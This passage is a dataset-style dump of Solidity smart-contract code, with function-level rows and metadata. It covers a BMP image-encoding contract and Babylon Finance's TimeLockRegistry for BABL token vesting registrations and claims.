(uint32 x = 0; x < width; x++) { for (uint32 xScale = 0; xScale < scale; xScale++) { scaled[scaleIdx] = pixels[origIdx]; scaleIdx++; } origIdx++; } // Rewind to copy the row again. origIdx -= width; } // Don't just copy the first row. origIdx += width; } return scaled; } }
/** * @dev 8-bit BMP encoding with arbitrary colour palettes. */
NatSpecMultiLine
grayscale
function grayscale() public pure returns (bytes memory) { bytes memory palette = new bytes(768); // TODO: investigate a way around using ++ += or + on a bytes1 without // having to use a placeholder int8 for incrementing! uint8 j; bytes1 b; for (uint16 i = 0; i < 768; i += 3) { b = bytes1(j); palette[i ] = b; palette[i+1] = b; palette[i+2] = b; // The last increment would revert if checked. unchecked { j++; } } return palette; }
/** * @dev Returns an 8-bit grayscale palette for bitmap images. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
{ "func_code_index": [ 127, 704 ] }
3,679
GermanBakery
/contracts/BMP.sol
0x5721be2b7b1403daaea264daa26c29c51398bc2f
Solidity
BMP
contract BMP { using Base64 for string; /** * @dev Returns an 8-bit grayscale palette for bitmap images. */ function grayscale() public pure returns (bytes memory) { bytes memory palette = new bytes(768); // TODO: investigate a way around using ++ += or + on a bytes1 without // having to use a placeholder int8 for incrementing! uint8 j; bytes1 b; for (uint16 i = 0; i < 768; i += 3) { b = bytes1(j); palette[i ] = b; palette[i+1] = b; palette[i+2] = b; // The last increment would revert if checked. unchecked { j++; } } return palette; } /** * @dev Returns an 8-bit BMP encoding of the pixels. * * Spec: https://www.digicamsoft.com/bmp/bmp.html * * Layout description with offsets: * http://www.ece.ualberta.ca/~elliott/ee552/studentAppNotes/2003_w/misc/bmp_file_format/bmp_file_format.htm * * N.B. Everything is little-endian, hence the assembly for masking and * shifting. */ function bmp(bytes memory pixels, uint32 width, uint32 height, bytes memory palette) public pure returns (bytes memory) { require(width * height == pixels.length, "Invalid dimensions"); require(palette.length == 768, "256 colours required"); // 14 bytes for BITMAPFILEHEADER + 40 for BITMAPINFOHEADER + 1024 for palette bytes memory buf = new bytes(1078); // BITMAPFILEHEADER buf[0] = 0x42; buf[1] = 0x4d; // bfType = BM uint32 size = 1078 + uint32(pixels.length); // bfSize; bytes in the entire buffer uint32 b; for (uint i = 2; i < 6; i++) { assembly { b := and(size, 0xff) size := shr(8, size) } buf[i] = bytes1(uint8(b)); } // Next 4 bytes are bfReserved1 & 2; both = 0 = initial value // bfOffBits; bytes from beginning of file to pixels = 14 + 40 + 1024 // (see size above) buf[0x0a] = 0x36; buf[0x0b] = 0x04; // BITMAPINFOHEADER // biSize; bytes in this struct = 40 buf[0x0e] = 0x28; // biWidth / biHeight for (uint i = 0x12; i < 0x16; i++) { assembly { b := and(width, 0xff) width := shr(8, width) } buf[i] = bytes1(uint8(b)); } for (uint i = 0x16; i < 0x1a; i++) { assembly { b := and(height, 0xff) height := shr(8, height) } buf[i] = bytes1(uint8(b)); } // biPlanes buf[0x1a] = 0x01; // biBitCount buf[0x1c] = 0x08; // I've decided to use raw pixels instead of run-length encoding for // compression as these aren't being stored. It's therefore simpler to // avoid the extra computation. Therefore biSize can be 0. Similarly // there's no point checking exactly which colours are used, so // biClrUsed and biClrImportant can be 0 to indicate all colours. This // is therefore the end of BITMAPINFOHEADER. Simples. uint j = 54; for (uint i = 0; i < 768; i += 3) { // RGBQUAD is in reverse order and the 4th byte is unused. buf[j ] = palette[i+2]; buf[j+1] = palette[i+1]; buf[j+2] = palette[i ]; j += 4; } return abi.encodePacked(buf, pixels); } /** * @dev Returns the buffer, presumably from bmp(), as a base64 data URI. */ function bmpDataURI(bytes memory bmpBuf) public pure returns (string memory) { return string(abi.encodePacked( 'data:image/bmp;base64,', Base64.encode(bmpBuf) )); } /** * @dev Scale pixels by repetition along both axes. */ function scalePixels(bytes memory pixels, uint32 width, uint32 height, uint32 scale) public pure returns (bytes memory) { require(width * height == pixels.length, "Invalid dimensions"); bytes memory scaled = new bytes(pixels.length * scale * scale); // Indices in each of the original and scaled buffers, respectively. The // scaled-buffer index is always incremented. The original index is // incremented only after scaling x-wise by scale times, then reversed // at the end of the width to allow for y-wise scaling. uint32 origIdx; uint32 scaleIdx; for (uint32 y = 0; y < height; y++) { for (uint32 yScale = 0; yScale < scale; yScale++) { for (uint32 x = 0; x < width; x++) { for (uint32 xScale = 0; xScale < scale; xScale++) { scaled[scaleIdx] = pixels[origIdx]; scaleIdx++; } origIdx++; } // Rewind to copy the row again. origIdx -= width; } // Don't just copy the first row. origIdx += width; } return scaled; } }
/** * @dev 8-bit BMP encoding with arbitrary colour palettes. */
NatSpecMultiLine
bmp
function bmp(bytes memory pixels, uint32 width, uint32 height, bytes memory palette) public pure returns (bytes memory) { require(width * height == pixels.length, "Invalid dimensions"); require(palette.length == 768, "256 colours required"); // 14 bytes for BITMAPFILEHEADER + 40 for BITMAPINFOHEADER + 1024 for palette bytes memory buf = new bytes(1078); // BITMAPFILEHEADER buf[0] = 0x42; buf[1] = 0x4d; // bfType = BM uint32 size = 1078 + uint32(pixels.length); // bfSize; bytes in the entire buffer uint32 b; for (uint i = 2; i < 6; i++) { assembly { b := and(size, 0xff) size := shr(8, size) } buf[i] = bytes1(uint8(b)); } // Next 4 bytes are bfReserved1 & 2; both = 0 = initial value // bfOffBits; bytes from beginning of file to pixels = 14 + 40 + 1024 // (see size above) buf[0x0a] = 0x36; buf[0x0b] = 0x04; // BITMAPINFOHEADER // biSize; bytes in this struct = 40 buf[0x0e] = 0x28; // biWidth / biHeight for (uint i = 0x12; i < 0x16; i++) { assembly { b := and(width, 0xff) width := shr(8, width) } buf[i] = bytes1(uint8(b)); } for (uint i = 0x16; i < 0x1a; i++) { assembly { b := and(height, 0xff) height := shr(8, height) } buf[i] = bytes1(uint8(b)); } // biPlanes buf[0x1a] = 0x01; // biBitCount buf[0x1c] = 0x08; // I've decided to use raw pixels instead of run-length encoding for // compression as these aren't being stored. It's therefore simpler to // avoid the extra computation. Therefore biSize can be 0. Similarly // there's no point checking exactly which colours are used, so // biClrUsed and biClrImportant can be 0 to indicate all colours. This // is therefore the end of BITMAPINFOHEADER. Simples. uint j = 54; for (uint i = 0; i < 768; i += 3) { // RGBQUAD is in reverse order and the 4th byte is unused. buf[j ] = palette[i+2]; buf[j+1] = palette[i+1]; buf[j+2] = palette[i ]; j += 4; } return abi.encodePacked(buf, pixels); }
/** * @dev Returns an 8-bit BMP encoding of the pixels. * * Spec: https://www.digicamsoft.com/bmp/bmp.html * * Layout description with offsets: * http://www.ece.ualberta.ca/~elliott/ee552/studentAppNotes/2003_w/misc/bmp_file_format/bmp_file_format.htm * * N.B. Everything is little-endian, hence the assembly for masking and * shifting. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
{ "func_code_index": [ 1100, 3551 ] }
3,680
GermanBakery
/contracts/BMP.sol
0x5721be2b7b1403daaea264daa26c29c51398bc2f
Solidity
BMP
contract BMP { using Base64 for string; /** * @dev Returns an 8-bit grayscale palette for bitmap images. */ function grayscale() public pure returns (bytes memory) { bytes memory palette = new bytes(768); // TODO: investigate a way around using ++ += or + on a bytes1 without // having to use a placeholder int8 for incrementing! uint8 j; bytes1 b; for (uint16 i = 0; i < 768; i += 3) { b = bytes1(j); palette[i ] = b; palette[i+1] = b; palette[i+2] = b; // The last increment would revert if checked. unchecked { j++; } } return palette; } /** * @dev Returns an 8-bit BMP encoding of the pixels. * * Spec: https://www.digicamsoft.com/bmp/bmp.html * * Layout description with offsets: * http://www.ece.ualberta.ca/~elliott/ee552/studentAppNotes/2003_w/misc/bmp_file_format/bmp_file_format.htm * * N.B. Everything is little-endian, hence the assembly for masking and * shifting. */ function bmp(bytes memory pixels, uint32 width, uint32 height, bytes memory palette) public pure returns (bytes memory) { require(width * height == pixels.length, "Invalid dimensions"); require(palette.length == 768, "256 colours required"); // 14 bytes for BITMAPFILEHEADER + 40 for BITMAPINFOHEADER + 1024 for palette bytes memory buf = new bytes(1078); // BITMAPFILEHEADER buf[0] = 0x42; buf[1] = 0x4d; // bfType = BM uint32 size = 1078 + uint32(pixels.length); // bfSize; bytes in the entire buffer uint32 b; for (uint i = 2; i < 6; i++) { assembly { b := and(size, 0xff) size := shr(8, size) } buf[i] = bytes1(uint8(b)); } // Next 4 bytes are bfReserved1 & 2; both = 0 = initial value // bfOffBits; bytes from beginning of file to pixels = 14 + 40 + 1024 // (see size above) buf[0x0a] = 0x36; buf[0x0b] = 0x04; // BITMAPINFOHEADER // biSize; bytes in this struct = 40 buf[0x0e] = 0x28; // biWidth / biHeight for (uint i = 0x12; i < 0x16; i++) { assembly { b := and(width, 0xff) width := shr(8, width) } buf[i] = bytes1(uint8(b)); } for (uint i = 0x16; i < 0x1a; i++) { assembly { b := and(height, 0xff) height := shr(8, height) } buf[i] = bytes1(uint8(b)); } // biPlanes buf[0x1a] = 0x01; // biBitCount buf[0x1c] = 0x08; // I've decided to use raw pixels instead of run-length encoding for // compression as these aren't being stored. It's therefore simpler to // avoid the extra computation. Therefore biSize can be 0. Similarly // there's no point checking exactly which colours are used, so // biClrUsed and biClrImportant can be 0 to indicate all colours. This // is therefore the end of BITMAPINFOHEADER. Simples. uint j = 54; for (uint i = 0; i < 768; i += 3) { // RGBQUAD is in reverse order and the 4th byte is unused. buf[j ] = palette[i+2]; buf[j+1] = palette[i+1]; buf[j+2] = palette[i ]; j += 4; } return abi.encodePacked(buf, pixels); } /** * @dev Returns the buffer, presumably from bmp(), as a base64 data URI. */ function bmpDataURI(bytes memory bmpBuf) public pure returns (string memory) { return string(abi.encodePacked( 'data:image/bmp;base64,', Base64.encode(bmpBuf) )); } /** * @dev Scale pixels by repetition along both axes. */ function scalePixels(bytes memory pixels, uint32 width, uint32 height, uint32 scale) public pure returns (bytes memory) { require(width * height == pixels.length, "Invalid dimensions"); bytes memory scaled = new bytes(pixels.length * scale * scale); // Indices in each of the original and scaled buffers, respectively. The // scaled-buffer index is always incremented. The original index is // incremented only after scaling x-wise by scale times, then reversed // at the end of the width to allow for y-wise scaling. uint32 origIdx; uint32 scaleIdx; for (uint32 y = 0; y < height; y++) { for (uint32 yScale = 0; yScale < scale; yScale++) { for (uint32 x = 0; x < width; x++) { for (uint32 xScale = 0; xScale < scale; xScale++) { scaled[scaleIdx] = pixels[origIdx]; scaleIdx++; } origIdx++; } // Rewind to copy the row again. origIdx -= width; } // Don't just copy the first row. origIdx += width; } return scaled; } }
/** * @dev 8-bit BMP encoding with arbitrary colour palettes. */
NatSpecMultiLine
bmpDataURI
function bmpDataURI(bytes memory bmpBuf) public pure returns (string memory) { return string(abi.encodePacked( 'data:image/bmp;base64,', Base64.encode(bmpBuf) )); }
/** * @dev Returns the buffer, presumably from bmp(), as a base64 data URI. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
{ "func_code_index": [ 3646, 3858 ] }
3,681
GermanBakery
/contracts/BMP.sol
0x5721be2b7b1403daaea264daa26c29c51398bc2f
Solidity
BMP
contract BMP { using Base64 for string; /** * @dev Returns an 8-bit grayscale palette for bitmap images. */ function grayscale() public pure returns (bytes memory) { bytes memory palette = new bytes(768); // TODO: investigate a way around using ++ += or + on a bytes1 without // having to use a placeholder int8 for incrementing! uint8 j; bytes1 b; for (uint16 i = 0; i < 768; i += 3) { b = bytes1(j); palette[i ] = b; palette[i+1] = b; palette[i+2] = b; // The last increment would revert if checked. unchecked { j++; } } return palette; } /** * @dev Returns an 8-bit BMP encoding of the pixels. * * Spec: https://www.digicamsoft.com/bmp/bmp.html * * Layout description with offsets: * http://www.ece.ualberta.ca/~elliott/ee552/studentAppNotes/2003_w/misc/bmp_file_format/bmp_file_format.htm * * N.B. Everything is little-endian, hence the assembly for masking and * shifting. */ function bmp(bytes memory pixels, uint32 width, uint32 height, bytes memory palette) public pure returns (bytes memory) { require(width * height == pixels.length, "Invalid dimensions"); require(palette.length == 768, "256 colours required"); // 14 bytes for BITMAPFILEHEADER + 40 for BITMAPINFOHEADER + 1024 for palette bytes memory buf = new bytes(1078); // BITMAPFILEHEADER buf[0] = 0x42; buf[1] = 0x4d; // bfType = BM uint32 size = 1078 + uint32(pixels.length); // bfSize; bytes in the entire buffer uint32 b; for (uint i = 2; i < 6; i++) { assembly { b := and(size, 0xff) size := shr(8, size) } buf[i] = bytes1(uint8(b)); } // Next 4 bytes are bfReserved1 & 2; both = 0 = initial value // bfOffBits; bytes from beginning of file to pixels = 14 + 40 + 1024 // (see size above) buf[0x0a] = 0x36; buf[0x0b] = 0x04; // BITMAPINFOHEADER // biSize; bytes in this struct = 40 buf[0x0e] = 0x28; // biWidth / biHeight for (uint i = 0x12; i < 0x16; i++) { assembly { b := and(width, 0xff) width := shr(8, width) } buf[i] = bytes1(uint8(b)); } for (uint i = 0x16; i < 0x1a; i++) { assembly { b := and(height, 0xff) height := shr(8, height) } buf[i] = bytes1(uint8(b)); } // biPlanes buf[0x1a] = 0x01; // biBitCount buf[0x1c] = 0x08; // I've decided to use raw pixels instead of run-length encoding for // compression as these aren't being stored. It's therefore simpler to // avoid the extra computation. Therefore biSize can be 0. Similarly // there's no point checking exactly which colours are used, so // biClrUsed and biClrImportant can be 0 to indicate all colours. This // is therefore the end of BITMAPINFOHEADER. Simples. uint j = 54; for (uint i = 0; i < 768; i += 3) { // RGBQUAD is in reverse order and the 4th byte is unused. buf[j ] = palette[i+2]; buf[j+1] = palette[i+1]; buf[j+2] = palette[i ]; j += 4; } return abi.encodePacked(buf, pixels); } /** * @dev Returns the buffer, presumably from bmp(), as a base64 data URI. */ function bmpDataURI(bytes memory bmpBuf) public pure returns (string memory) { return string(abi.encodePacked( 'data:image/bmp;base64,', Base64.encode(bmpBuf) )); } /** * @dev Scale pixels by repetition along both axes. */ function scalePixels(bytes memory pixels, uint32 width, uint32 height, uint32 scale) public pure returns (bytes memory) { require(width * height == pixels.length, "Invalid dimensions"); bytes memory scaled = new bytes(pixels.length * scale * scale); // Indices in each of the original and scaled buffers, respectively. The // scaled-buffer index is always incremented. The original index is // incremented only after scaling x-wise by scale times, then reversed // at the end of the width to allow for y-wise scaling. uint32 origIdx; uint32 scaleIdx; for (uint32 y = 0; y < height; y++) { for (uint32 yScale = 0; yScale < scale; yScale++) { for (uint32 x = 0; x < width; x++) { for (uint32 xScale = 0; xScale < scale; xScale++) { scaled[scaleIdx] = pixels[origIdx]; scaleIdx++; } origIdx++; } // Rewind to copy the row again. origIdx -= width; } // Don't just copy the first row. origIdx += width; } return scaled; } }
/** * @dev 8-bit BMP encoding with arbitrary colour palettes. */
NatSpecMultiLine
scalePixels
function scalePixels(bytes memory pixels, uint32 width, uint32 height, uint32 scale) public pure returns (bytes memory) { require(width * height == pixels.length, "Invalid dimensions"); bytes memory scaled = new bytes(pixels.length * scale * scale); // Indices in each of the original and scaled buffers, respectively. The // scaled-buffer index is always incremented. The original index is // incremented only after scaling x-wise by scale times, then reversed // at the end of the width to allow for y-wise scaling. uint32 origIdx; uint32 scaleIdx; for (uint32 y = 0; y < height; y++) { for (uint32 yScale = 0; yScale < scale; yScale++) { for (uint32 x = 0; x < width; x++) { for (uint32 xScale = 0; xScale < scale; xScale++) { scaled[scaleIdx] = pixels[origIdx]; scaleIdx++; } origIdx++; } // Rewind to copy the row again. origIdx -= width; } // Don't just copy the first row. origIdx += width; } return scaled; }
/** * @dev Scale pixels by repetition along both axes. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
{ "func_code_index": [ 3932, 5166 ] }
3,682
TimeLockRegistry
contracts/token/TimeLockRegistry.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
TimeLockRegistry
contract TimeLockRegistry is Ownable { using LowGasSafeMath for uint256; using Address for address; using AddressArrayUtils for address[]; /* ============ Events ============ */ event Register(address receiver, uint256 distribution); event Cancel(address receiver, uint256 distribution); event Claim(address account, uint256 distribution); /* ============ Modifiers ============ */ modifier onlyBABLToken() { require(msg.sender == address(token), 'only BABL Token'); _; } /* ============ State Variables ============ */ // time locked token TimeLockedToken public token; /** * @notice The profile of each token owner under vesting conditions and its special conditions * @param receiver Account being registered * @param investorType Indicates whether or not is a Team member (true = team member / advisor, false = private investor) * @param vestingStarting Date When the vesting begins for such token owner * @param distribution Tokens amount that receiver is due to get */ struct Registration { address receiver; uint256 distribution; bool investorType; uint256 vestingStartingDate; } /** * @notice The profile of each token owner under vesting conditions and its special conditions * @param team Indicates whether or not is a Team member (true = team member / advisor, false = private investor) * @param vestingBegin When the vesting begins for such token owner * @param vestingEnd When the vesting ends for such token owner * @param lastClaim When the last claim was done */ struct TokenVested { bool team; bool cliff; uint256 vestingBegin; uint256 vestingEnd; uint256 lastClaim; } /// @notice A record of token owners under vesting conditions for each account, by index mapping(address => TokenVested) public tokenVested; // mapping from token owners under vesting conditions to BABL due amount (e.g. SAFT addresses, team members, advisors) mapping(address => uint256) public registeredDistributions; // array of all registrations address[] public registrations; // total amount of tokens registered uint256 public totalTokens; // vesting for Team Members uint256 private constant teamVesting = 365 days * 4; // vesting for Investors and Advisors uint256 private constant investorVesting = 365 days * 3; /* ============ Functions ============ */ /* ============ Constructor ============ */ /** * @notice Construct a new Time Lock Registry and gives ownership to sender * @param _token TimeLockedToken contract to use in this registry */ constructor(TimeLockedToken _token) { token = _token; } /* ============ External Functions ============ */ /* ============ External Getter Functions ============ */ /** * Gets registrations * * @return address[] Returns list of registrations */ function getRegistrations() external view returns (address[] memory) { return registrations; } /* =========== Token related Gov Functions ====== */ /** * PRIVILEGED GOVERNANCE FUNCTION * * @notice Register multiple investors/team in a batch * @param _registrations Registrations to process */ function registerBatch(Registration[] memory _registrations) external onlyOwner { for (uint256 i = 0; i < _registrations.length; i++) { register( _registrations[i].receiver, _registrations[i].distribution, _registrations[i].investorType, _registrations[i].vestingStartingDate ); } } /** * PRIVILEGED GOVERNANCE FUNCTION * * @notice Register new account under vesting conditions (Team, Advisors, Investors e.g. SAFT purchaser) * @param receiver Address belonging vesting conditions * @param distribution Tokens amount that receiver is due to get */ function register( address receiver, uint256 distribution, bool investorType, uint256 vestingStartingDate ) public onlyOwner { require(receiver != address(0), 'TimeLockRegistry::register: cannot register the zero address'); require( receiver != address(this), 'TimeLockRegistry::register: Time Lock Registry contract cannot be an investor' ); require(distribution != 0, 'TimeLockRegistry::register: Distribution = 0'); require( registeredDistributions[receiver] == 0, 'TimeLockRegistry::register:Distribution for this address is already registered' ); require(block.timestamp >= 1614553200, 'Cannot register earlier than March 2021'); // 1614553200 is UNIX TIME of 2021 March the 1st require(totalTokens.add(distribution) <= IERC20(token).balanceOf(address(this)), 'Not enough tokens'); totalTokens = totalTokens.add(distribution); // register distribution registeredDistributions[receiver] = distribution; registrations.push(receiver); // register token vested conditions TokenVested storage newTokenVested = tokenVested[receiver]; newTokenVested.team = investorType; newTokenVested.vestingBegin = vestingStartingDate; if (newTokenVested.team == true) { newTokenVested.vestingEnd = vestingStartingDate.add(teamVesting); } else { newTokenVested.vestingEnd = vestingStartingDate.add(investorVesting); } newTokenVested.lastClaim = vestingStartingDate; tokenVested[receiver] = newTokenVested; // emit register event emit Register(receiver, distribution); } /** * PRIVILEGED GOVERNANCE FUNCTION. Cancel distribution registration in case of mistake and before a claim is done * * @notice Cancel distribution registration * @dev A claim has not to be done earlier * @param receiver Address that should have it's distribution removed * @return Whether or not it succeeded */ function cancelRegistration(address receiver) external onlyOwner returns (bool) { require(registeredDistributions[receiver] != 0, 'Not registered'); // get amount from distributions uint256 amount = registeredDistributions[receiver]; // set distribution mapping to 0 delete registeredDistributions[receiver]; // set tokenVested mapping to 0 delete tokenVested[receiver]; // remove from the list of all registrations registrations.remove(receiver); // decrease total tokens totalTokens = totalTokens.sub(amount); // emit cancel event emit Cancel(receiver, amount); return true; } /** * PRIVILEGED GOVERNANCE FUNCTION. Cancel distribution registration in case of mistake and before a claim is done * * @notice Cancel already delivered tokens. It might only apply when non-completion of vesting period of Team members or Advisors * @dev An automatic override allowance is granted during the claim process * @param account Address that should have it's distribution removed * @return Whether or not it succeeded */ function cancelDeliveredTokens(address account) external onlyOwner returns (bool) { uint256 loosingAmount = token.cancelVestedTokens(account); // emit cancel event emit Cancel(account, loosingAmount); return true; } /** * PRIVILEGED GOVERNANCE FUNCTION. Recover tokens in Time Lock Registry smartcontract address by the owner * * @notice Send tokens from smartcontract address to the owner. * It might only apply after a cancellation of vested tokens * @param amount Amount to be recovered by the owner of the Time Lock Registry smartcontract from its balance * @return Whether or not it succeeded */ function transferToOwner(uint256 amount) external onlyOwner returns (bool) { SafeERC20.safeTransfer(token, msg.sender, amount); return true; } /** * PRIVILEGED GOVERNANCE FUNCTION. Claim locked tokens by the registered account * * @notice Claim tokens due amount. * @dev Claim is done by the user in the TimeLocked contract and the contract is the only allowed to call * this function on behalf of the user to make the claim * @return The amount of tokens registered and delivered after the claim */ function claim(address _receiver) external onlyBABLToken returns (uint256) { require(registeredDistributions[_receiver] != 0, 'Not registered'); // get amount from distributions uint256 amount = registeredDistributions[_receiver]; TokenVested storage claimTokenVested = tokenVested[_receiver]; claimTokenVested.lastClaim = block.timestamp; // set distribution mapping to 0 delete registeredDistributions[_receiver]; // decrease total tokens totalTokens = totalTokens.sub(amount); // register lockup in TimeLockedToken // this will transfer funds from this contract and lock them for sender token.registerLockup( _receiver, amount, claimTokenVested.team, claimTokenVested.vestingBegin, claimTokenVested.vestingEnd, claimTokenVested.lastClaim ); // set tokenVested mapping to 0 delete tokenVested[_receiver]; // emit claim event emit Claim(_receiver, amount); return amount; } /* ============ Getter Functions ============ */ function checkVesting(address address_) external view returns ( bool team, uint256 start, uint256 end, uint256 last ) { TokenVested storage checkTokenVested = tokenVested[address_]; return ( checkTokenVested.team, checkTokenVested.vestingBegin, checkTokenVested.vestingEnd, checkTokenVested.lastClaim ); } function checkRegisteredDistribution(address address_) external view returns (uint256 amount) { return registeredDistributions[address_]; } }
/** * @title TimeLockRegistry * @notice Register Lockups for TimeLocked ERC20 Token BABL (e.g. vesting) * @author Babylon Finance * @dev This contract allows owner to register distributions for a TimeLockedToken * * To register a distribution, register method should be called by the owner. * claim() should be called only by the BABL Token smartcontract (modifier onlyBABLToken) * when any account registered to receive tokens make its own claim * If case of a mistake, owner can cancel registration before the claim is done by the account * * Note this contract address must be setup in the TimeLockedToken's contract pointing * to interact with (e.g. setTimeLockRegistry() function) */
NatSpecMultiLine
getRegistrations
function getRegistrations() external view returns (address[] memory) { return registrations; }
/** * Gets registrations * * @return address[] Returns list of registrations */
NatSpecMultiLine
v0.7.6+commit.7338295f
{ "func_code_index": [ 3063, 3173 ] }
3,683
TimeLockRegistry
contracts/token/TimeLockRegistry.sol
0xae171d3e9f8e755bb8547d4165fd79b148be45de
Solidity
TimeLockRegistry
contract TimeLockRegistry is Ownable { using LowGasSafeMath for uint256; using Address for address; using AddressArrayUtils for address[]; /* ============ Events ============ */ event Register(address receiver, uint256 distribution); event Cancel(address receiver, uint256 distribution); event Claim(address account, uint256 distribution); /* ============ Modifiers ============ */ modifier onlyBABLToken() { require(msg.sender == address(token), 'only BABL Token'); _; } /* ============ State Variables ============ */ // time locked token TimeLockedToken public token; /** * @notice The profile of each token owner under vesting conditions and its special conditions * @param receiver Account being registered * @param investorType Indicates whether or not is a Team member (true = team member / advisor, false = private investor) * @param vestingStarting Date When the vesting begins for such token owner * @param distribution Tokens amount that receiver is due to get */ struct Registration { address receiver; uint256 distribution; bool investorType; uint256 vestingStartingDate; } /** * @notice The profile of each token owner under vesting conditions and its special conditions * @param team Indicates whether or not is a Team member (true = team member / advisor, false = private investor) * @param vestingBegin When the vesting begins for such token owner * @param vestingEnd When the vesting ends for such token owner * @param lastClaim When the last claim was done */ struct TokenVested { bool team; bool cliff; uint256 vestingBegin; uint256 vestingEnd; uint256 lastClaim; } /// @notice A record of token owners under vesting conditions for each account, by index mapping(address => TokenVested) public tokenVested; // mapping from token owners under vesting conditions to BABL due amount (e.g. SAFT addresses, team members, advisors) mapping(address => uint256) public registeredDistributions; // array of all registrations address[] public registrations; // total amount of tokens registered uint256 public totalTokens; // vesting for Team Members uint256 private constant teamVesting = 365 days * 4; // vesting for Investors and Advisors uint256 private constant investorVesting = 365 days * 3; /* ============ Functions ============ */ /* ============ Constructor ============ */ /** * @notice Construct a new Time Lock Registry and gives ownership to sender * @param _token TimeLockedToken contract to use in this registry */ constructor(TimeLockedToken _token) { token = _token; } /* ============ External Functions ============ */ /* ============ External Getter Functions ============ */ /** * Gets registrations * * @return address[] Returns list of registrations */ function getRegistrations() external view returns (address[] memory) { return registrations; } /* =========== Token related Gov Functions ====== */ /** * PRIVILEGED GOVERNANCE FUNCTION * * @notice Register multiple investors/team in a batch * @param _registrations Registrations to process */ function registerBatch(Registration[] memory _registrations) external onlyOwner { for (uint256 i = 0; i < _registrations.length; i++) { register( _registrations[i].receiver, _registrations[i].distribution, _registrations[i].investorType, _registrations[i].vestingStartingDate ); } } /** * PRIVILEGED GOVERNANCE FUNCTION * * @notice Register new account under vesting conditions (Team, Advisors, Investors e.g. SAFT purchaser) * @param receiver Address belonging vesting conditions * @param distribution Tokens amount that receiver is due to get */ function register( address receiver, uint256 distribution, bool investorType, uint256 vestingStartingDate ) public onlyOwner { require(receiver != address(0), 'TimeLockRegistry::register: cannot register the zero address'); require( receiver != address(this), 'TimeLockRegistry::register: Time Lock Registry contract cannot be an investor' ); require(distribution != 0, 'TimeLockRegistry::register: Distribution = 0'); require( registeredDistributions[receiver] == 0, 'TimeLockRegistry::register:Distribution for this address is already registered' ); require(block.timestamp >= 1614553200, 'Cannot register earlier than March 2021'); // 1614553200 is UNIX TIME of 2021 March the 1st require(totalTokens.add(distribution) <= IERC20(token).balanceOf(address(this)), 'Not enough tokens'); totalTokens = totalTokens.add(distribution); // register distribution registeredDistributions[receiver] = distribution; registrations.push(receiver); // register token vested conditions TokenVested storage newTokenVested = tokenVested[receiver]; newTokenVested.team = investorType; newTokenVested.vestingBegin = vestingStartingDate; if (newTokenVested.team == true) { newTokenVested.vestingEnd = vestingStartingDate.add(teamVesting); } else { newTokenVested.vestingEnd = vestingStartingDate.add(investorVesting); } newTokenVested.lastClaim = vestingStartingDate; tokenVested[receiver] = newTokenVested; // emit register event emit Register(receiver, distribution); } /** * PRIVILEGED GOVERNANCE FUNCTION. Cancel distribution registration in case of mistake and before a claim is done * * @notice Cancel distribution registration * @dev A claim has not to be done earlier * @param receiver Address that should have it's distribution removed * @return Whether or not it succeeded */ function cancelRegistration(address receiver) external onlyOwner returns (bool) { require(registeredDistributions[receiver] != 0, 'Not registered'); // get amount from distributions uint256 amount = registeredDistributions[receiver]; // set distribution mapping to 0 delete registeredDistributions[receiver]; // set tokenVested mapping to 0 delete tokenVested[receiver]; // remove from the list of all registrations registrations.remove(receiver); // decrease total tokens totalTokens = totalTokens.sub(amount); // emit cancel event emit Cancel(receiver, amount); return true; } /** * PRIVILEGED GOVERNANCE FUNCTION. Cancel distribution registration in case of mistake and before a claim is done * * @notice Cancel already delivered tokens. It might only apply when non-completion of vesting period of Team members or Advisors * @dev An automatic override allowance is granted during the claim process * @param account Address that should have it's distribution removed * @return Whether or not it succeeded */ function cancelDeliveredTokens(address account) external onlyOwner returns (bool) { uint256 loosingAmount = token.cancelVestedTokens(account); // emit cancel event emit Cancel(account, loosingAmount); return true; } /** * PRIVILEGED GOVERNANCE FUNCTION. Recover tokens in Time Lock Registry smartcontract address by the owner * * @notice Send tokens from smartcontract address to the owner. * It might only apply after a cancellation of vested tokens * @param amount Amount to be recovered by the owner of the Time Lock Registry smartcontract from its balance * @return Whether or not it succeeded */ function transferToOwner(uint256 amount) external onlyOwner returns (bool) { SafeERC20.safeTransfer(token, msg.sender, amount); return true; } /** * PRIVILEGED GOVERNANCE FUNCTION. Claim locked tokens by the registered account * * @notice Claim tokens due amount. * @dev Claim is done by the user in the TimeLocked contract and the contract is the only allowed to call * this function on behalf of the user to make the claim * @return The amount of tokens registered and delivered after the claim */ function claim(address _receiver) external onlyBABLToken returns (uint256) { require(registeredDistributions[_receiver] != 0, 'Not registered'); // get amount from distributions uint256 amount = registeredDistributions[_receiver]; TokenVested storage claimTokenVested = tokenVested[_receiver]; claimTokenVested.lastClaim = block.timestamp; // set distribution mapping to 0 delete registeredDistributions[_receiver]; // decrease total tokens totalTokens = totalTokens.sub(amount); // register lockup in TimeLockedToken // this will transfer funds from this contract and lock them for sender token.registerLockup( _receiver, amount, claimTokenVested.team, claimTokenVested.vestingBegin, claimTokenVested.vestingEnd, claimTokenVested.lastClaim ); // set tokenVested mapping to 0 delete tokenVested[_receiver]; // emit claim event emit Claim(_receiver, amount); return amount; } /* ============ Getter Functions ============ */ function checkVesting(address address_) external view returns ( bool team, uint256 start, uint256 end, uint256 last ) { TokenVested storage checkTokenVested = tokenVested[address_]; return ( checkTokenVested.team, checkTokenVested.vestingBegin, checkTokenVested.vestingEnd, checkTokenVested.lastClaim ); } function checkRegisteredDistribution(address address_) external view returns (uint256 amount) { return registeredDistributions[address_]; } }
/** * @title TimeLockRegistry * @notice Register Lockups for TimeLocked ERC20 Token BABL (e.g. vesting) * @author Babylon Finance * @dev This contract allows owner to register distributions for a TimeLockedToken * * To register a distribution, register method should be called by the owner. * claim() should be called only by the BABL Token smartcontract (modifier onlyBABLToken) * when any account registered to receive tokens make its own claim * If case of a mistake, owner can cancel registration before the claim is done by the account * * Note this contract address must be setup in the TimeLockedToken's contract pointing * to interact with (e.g. setTimeLockRegistry() function) */
NatSpecMultiLine
registerBatch
function registerBatch(Registration[] memory _registrations) external onlyOwner { for (uint256 i = 0; i < _registrations.length; i++) { register( _registrations[i].receiver, _registrations[i].distribution, _registrations[i].investorType, _registrations[i].vestingStartingDate ); } }
/** * PRIVILEGED GOVERNANCE FUNCTION * * @notice Register multiple investors/team in a batch * @param _registrations Registrations to process */
